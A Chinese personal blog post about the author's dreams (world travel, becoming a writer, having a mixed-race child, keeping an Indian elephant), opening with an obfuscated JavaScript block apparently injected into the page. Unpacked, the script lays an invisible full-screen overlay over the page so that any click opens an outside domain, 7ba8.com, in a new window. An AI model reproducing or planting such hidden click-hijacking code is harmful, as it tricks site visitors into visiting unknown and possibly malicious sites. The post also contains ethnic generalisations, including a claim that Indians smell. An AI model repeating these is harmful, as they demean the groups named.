<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>陶子在SPACE上问我的梦想是什么?刚一看到这个问题,我仿佛象有了阿拉丁神灯,一时想入非非。
我想在有生之年把世界上所有值得去的地方都去了,不完全统计,大概能有七八十个地方,这还没算上中国境内的,如果每年去一个地方,我这辈子也不够,而且我也不可能在六七十岁的时候柱着拐棍再去哪玩儿。我只好在网上看看各地的照片,来弥补这个遗憾。
我想自己能变成赵赵那样的作家,我只看了她的小说“动什么,别动感情”,可能很多人也看过那个电视剧,我喜欢她的表达方式,喜欢里面的对白,以前我试图把“围城”看完,以提高自己的文学修养,可是我快看完了,也找不到共鸣,于是我不再勉强自己把它看完。可能我只适合看那种通俗得不能再通俗的东西。我喜欢的还有郭敬明的“梦里花落之多少”,不过那是前几年的事了,现在想想,还是觉得赵赵写的更好看。估计有的人看到我想当作家的梦想会笑翻过去,其实我也没觉得自己能写出象模象样的小说,所以它真是一个纯粹的梦想,只在能梦里想想。
我想有个混血的孩子,不管是男是女都行,虽然我的遗传基因不怎么样,但是我相信如果是和西方人生的应该还可以,起码会有大大的眼睛。可惜呀,我来了这边三年多了,也没遇到哪个鬼佬疯狂地追求我,也没遇到哪个鬼佬让我春心荡漾。认识的人都是同学,不幸的是,我这双拙眼再加上记性不好,总是记不住谁是谁,曾经还把一个GROUP的两个鬼佬(一黑一白)名字记反了,当时同组的另一个中国女孩一个劲地向我使眼色,我还不为所动,以为她眼睛抽筋。那个被我叫错名字的鬼竟然也不说什么,任我错误地把他的名字安在另一个人身上。说跑了,总之我觉得自己是不会和鬼佬来电了,我只能安慰自己说,这样也好,据说鬼佬看上的中国女孩,在我们中国人眼里都是资色一般的,非小眼睛单眼皮者不追。(希望不会得罪一部分女生,其实我还是很羡慕你们有机会生混血儿的,以上观点纯属因为吃不到葡萄)
其他的关于家人健康,事业有成,朋友幸福,世界和平,希望自己变聪明,有一个漂亮的大房子,里面住着和我相爱的帅哥,走在路上被天上掉的钱砸到脚。。。。这样的愿望太多我就不说了。但是前两天看了成龙金喜善演的“神话”又让我想起了我儿时的梦想,因为事隔多年,本来我已经快把它忘了。
那就是我想养一只大象,印度的。这主要是因为在小时候看过几次印度爱情片,记得最清楚的就是,基本上家家都有大象,男女主角一谈情说爱就开唱,还伴随着舞蹈。现在想想那种情节真是搞笑。但是当时年少的我,更多的是关注大象。说到这,让我想起了自己的小学时期,那时候的理想是当动物饲养员,北京有个电视节目,都是动物演的,有时候是狗骑车,有时候是猩猩自己开饮料喝,有时候还破案,再加上配音,我这叫一个爱看呀,没够。我还喜欢去动物园的猴山,可能和自己属猴有关系。所以我妈说,你将来去当动物饲养员吧,我一想,真有道理,这工作多好呀,天天玩还赚钱。于是我变本加厉,没事就往家里带活物,我记得的有,蚂蚁,蜻蜓,野猫(我不顾老妈的警告,不断往家带,结果惹怒了她,竟然把一只猫从楼上给扔下去了,还好楼层不高,下面有一些东西堆着,才没死,不过我快给吓死了,哭着就下楼找去了),后来上学的时候生物课还养过蚕(后来不幸地被有农药的桑叶毒死),实在没得玩,还在米袋里发现在米虫,就捡出来放在一起,看它们爬。夏天的时候,有一次在一堆树下面发现在“吊死鬼儿”,那是一种翠绿的虫子,它们可能太热了,就从树上吐丝,下降到离地面一米左右的高度,在那儿吊着,我无意中发现了,就捏着丝(胆儿再大也没敢用手直接碰)用空的磁带盒把它们装一起,然后夹在自行车后座上,后来忘记放生,车让我姨给骑走了,第二天我就惨了,因为那些装一块的绿虫子没把她给吓晕过去。想起这些,觉得自己以前真是勇猛。可惜后来随着自己惰性越来越大,就慢慢变成了叶公好龙。发现这一点是因为我妈经不住我磨,终于同意养了一只吉娃娃,可是我却不肯为了可爱的它放弃我温暖的被窝,于是老妈为了家里的干净卫生,只好早上起了床就去遛狗,到现在养了有快四年了吧,那只狗的孙子都快长大了,妈妈喜欢新出生的小狗,却坚决不舍得把最早养的那只送人。我曾想过带一只过来悉尼,可是一想,自己这么懒,不来客人,被子都不想叠的主儿,哪有功夫伺候狗呀,只能作罢。
又跑远了 其实我是想说:
如果印度人身上没有那么臭,或者如果我能忍受那种味道,我一定会去印度生活,并且在我的房子里养一只大象。周末可以学习印度舞蹈,带着我的大象去河边洗澡。
可惜这些只是如果,那我只能以后回北京,然后在动物园的象房边搭个小草蓬,和我亲爱的大象朝夕相处,没事可以再去猴山转转,找找小时候掉在那的鞋。
我可能是中了“神话”的毒。
不过最近又听说还有袖珍猪,粉色的,就手掌那么大个儿。在悉尼的朋友们,你们知道哪有卖的吗?
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